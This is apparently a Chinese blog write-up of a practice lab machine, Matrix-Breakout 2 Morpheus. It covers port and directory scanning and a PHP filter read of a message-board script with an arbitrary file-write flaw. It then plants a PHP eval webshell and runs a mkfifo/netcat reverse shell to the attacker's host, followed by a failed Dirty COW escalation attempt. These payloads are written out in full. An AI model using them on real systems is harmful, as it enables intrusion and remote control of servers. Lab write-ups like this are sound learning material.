靶机 Matrix-Breakout 2 Morpheus

Matrix-Breakout 2 Morpheus笔记

拿到靶机先扔VMware

image-20240218152802681

信息收集

没其他东西了,于是先在nmap收集信息

nmap -sn 192.168.0.0/24

-sn  Ping扫描-禁用端口扫描

image-20240218153106674

发现靶机地址为192.168.0.104,继续收集信息,先给一套组合拳

nmap -T4 -sV -p- -A 192.168.0.104

-sV:此选项启用版本检测。Nmap 将尝试确定在开放端口上运行的服务的版本。
-p-:该选项告诉Nmap扫描所有端口。默认情况下,Nmap 仅扫描 1000 个最常见的端口。指定-p-可确保扫描所有 65535 个端口。
-A:此选项启用主动扫描。它包括操作系统检测、版本检测、脚本扫描和traceroute。

image-20240218154418679

发现开放了22、80、81端口,先直奔80网页看看有什么东西。

image-20240218154714946

网页目录爆破

感觉并没有什么能看到的东西,对着英文意思似乎让我们放弃ssh也就是22端口(?)那就去爆网页目录

dirsearch -u http://192.168.0.104/ -s 3
-s 后面跟每次请求后延迟多久,再次请求

image-20240218160801474

两个都是没什么用的

然后看到网上的wp直接用kali内置的字典能跑出来好东西

gobuster dir -u 192.168.0.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt

dir 指定目录爆破模式
-w  指定字典路径
-x  显示限定的格式

image-20240218161912028

发现有可疑文件graffiti(写的时候已经是尾声了,所以重新扫出来的结果里面会有一些多余的东西)

image-20240218162615773

文件上传/包含漏洞

访问graffiti.php后发现有一个留言板界面,使用brupsuite抓包分析

image-20240218163700143

发现可能存在文件包含漏洞,用伪协议将源码读出来

file=php://filter/read=convert.base64-encode/resource=graffiti.php

image-20240218163958828

<h1>
<center>
Nebuchadnezzar Graffiti Wall

</center>
</h1>
<p>
<?php

$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {//判断是否为POST请求
    if (isset($_POST['file'])) {//判断POST请求中是否有file变量
       $file=$_POST['file'];//将POST中file变量的内容赋值给$file
    }
    //将POST中的变量message写入到$file中
    if (isset($_POST['message'])) {
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
        fwrite($handle, $_POST['message']);
	fwrite($handle, "\n");
        fclose($file); 
    }
}

// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
  echo fgets($handle);
  echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
123

分析留言版源码可以发现,这里存在一个文件上传漏洞。因为$file可以抓包后修改,并且message的内容并没有任何过滤,这里可以上一个一句话木马

<?php eval($_POST['shell']);?>

image-20240218165344603

蚁剑成功拿到shell

image-20240218165545273

反弹shell

本来感觉蚁剑的shell挺好用的,但是看到别人的wp说会漏掉一些东西,还是要做一个反弹shell(实际感觉也只是wget方便点)。

用了好几个,只有这个能成功,URL编码一下

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.101 4444 >/tmp/f");?>

image-20240218170227514

开启nc端口监听,浏览器访问graffiti4.php

nc -lvvp 4444

成功推回shell到kali,用python脚本让推回来的shell好看一些

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240218170710794

到处寻寻觅觅,到根目录下发现了个FLAG.txt

image-20240218171228654

大意是想让我寻找Cypher's password,还有看看/.cypher-neo.png里面的flag

前者先等一等,直接来看看让我们去浏览器访问的图片有什么。感觉明眼看不出来什么东西,那就可能隐写了什么在里面,杂项又不咋会,只能看看别人的wp怎么写了。看了一圈发现大伙都直接脚本跑提权漏洞,没FLAG.txt里面的内容什么事了。能力不足,跟着学习(抄抄)

image-20240218171720898

提权(不成功,未解决

kali本机开启web服务

python -m http.server

反弹shell中wget下脚本https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

wget 192.168.0.101:8000/linpeas.sh
chmod +x linpeas.sh

./linpeas.sh

发现可能存在脏牛漏洞

image-20240218173358405

image-20240218173625596

但是不清楚为什么提权不成功,重新看看其他人的做法,好像也大差无异(?)

image-20240218180355906

后续我用MSF也是在最后的提权失败了,弄挺久也不太知道哪里出问题了,先放弃了 T_T

posted @ 2024-02-18 18:14  eth258  阅读(130)  评论(0编辑  收藏  举报